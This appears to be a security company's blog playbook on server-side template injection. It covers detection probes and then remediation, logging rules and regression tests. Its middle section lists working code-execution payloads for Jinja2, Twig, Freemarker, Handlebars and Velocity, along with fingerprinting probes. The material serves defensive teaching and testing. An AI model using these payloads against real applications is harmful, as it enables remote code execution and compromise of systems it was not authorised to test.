Server-Side Template Injection: Detection and Prevention
Cybersecurity
SSTI turns a single user-controlled string into remote code execution. This playbook covers detection probes across Jinja2, Twig, Freemarker, and Handlebars, plus the rendering patterns that prevent it entirely.
By Arjun Raghavan, Security & Systems Lead, BIPI · December 29, 2024 · 8 min read
Server-Side Template Injection happens when developers concatenate user input into a template string instead of passing it as data. The result is full RCE on most engines because templates expose object reflection and shell helpers by design.
How to test for it
The classic polyglot probe is ${{<%[%'"}}%\. Submit it in every reflected parameter and look for a parser error or a server 500. If the response renders 49 to a payload of {{7*7}}, you have Jinja2, Twig, or Nunjucks. If 7*'7' returns 7777777, you are in Jinja2 or Twig. ${7*7} rendering as 49 indicates Freemarker or Velocity. *{7*7} indicates Thymeleaf in expression mode.
- Jinja2 RCE: {{ ''.__class__.__mro__[1].__subclasses__() }} then locate Popen and chain to os.system.
- Twig RCE: {{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }} on older Twig.
- Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}.
- Handlebars: {{#with "s" as |string|}}{{#with split as |conslist|}}{{this.pop}}{{/with}}{{/with}} for prototype pollution to RCE on older versions.
- Velocity: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id").
Caido and Burp's Tplmap extension automate engine fingerprinting. For blind SSTI, use a Collaborator-aware payload that triggers DNS lookup via the engine's HTTP helper, since blind cases often suppress error output.
Where SSTI lives in real apps
Email subject and body templates rendered through user-supplied merge fields, error pages that interpolate query parameters, CMS preview features, custom report generators, and webhook payload formatters all qualify. Anything that calls render_template_string in Flask, Twig::createTemplate in Symfony, or new Template(userInput) in Freemarker is suspect.
Detection
Log template render errors with the offending input. A spike of TemplateSyntaxError or freemarker.core.ParseException with input containing curly braces or dollar-curly is a high-fidelity attack signal. Add a WAF rule on bodies and query strings matching {{.+}} or \$\{.+\} from anonymous users on non-template endpoints.
Remediation
- Never pass user input as a template. Pass it as a context variable: render_template('email.html', name=user_input), not render_template_string('Hello ' + user_input).
- If templates must be user-authored, use a sandboxed engine like Jinja2's SandboxedEnvironment with attribute and method allowlists, or Liquid which is sandboxed by design.
- Disable template inheritance and macro imports in user-authored templates so attackers cannot pull in privileged base templates.
- Strip access to __class__, __mro__, __subclasses__, __builtins__, __globals__, and __import__ via a custom SandboxedEnvironment.is_safe_attribute override.
- Run template rendering in a separate process with seccomp or gVisor so even a sandbox escape cannot read application secrets.
Validation
After remediation, fuzz every input with a Burp Intruder payload list of 30 SSTI probes covering all major engines. Confirm responses are static or HTML-encoded, never reflecting arithmetic. Add a regression test that submits {{7*7}} and asserts the literal string is preserved in output, never the number 49.
BIPI's red team has chained SSTI to full cloud takeover via container metadata access. The fix is small. The hunt for every render_template_string call across a hundred-microservice estate is the real engagement.
Read more field notes, explore our services, or get in touch at info@bipi.in. Privacy Policy · Terms.